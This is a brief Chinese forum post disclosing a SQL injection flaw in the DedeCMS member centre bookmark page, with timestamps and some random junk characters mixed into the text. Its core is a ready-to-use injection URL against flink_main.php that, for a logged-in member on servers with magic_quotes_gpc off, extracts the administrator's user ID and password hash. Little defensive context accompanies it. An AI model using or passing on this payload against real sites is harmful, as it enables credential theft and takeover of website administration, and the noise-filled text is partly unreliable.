DedeCMS会员中心SQL注射漏洞8 O5 M3 l2 B- f5 R8 ~" y% z
需要magic_quotes_gpc = Off! q7 z$ D. W3 P$ K
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
6 g; N# v, D$ A* R( L - |# ]0 ?: S) d1 q2 F9 U
DedeCMS会员中心书签管理SQL注射漏洞- o( J8 d* `) V* l) V; Q
成功利用该漏洞可获得管理员密码8 {4 N e2 O% l* x* t a
6 x0 ~1 w' N+ J2 a7 D3 l9 ?% }会员登录后可以执行SQL语句查询数据库任意内容如管理员密码 Q3 I7 Z& X$ t' d# |7 I% r1 |3 A
g; e1 Z$ D4 g6 Ihttp://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r5 d# \* i1 c/ V+ i* _+ h
|
发表于 2012-12-31 09:21:18
收藏
支持
反对
发表于 2013-1-10 01:33:59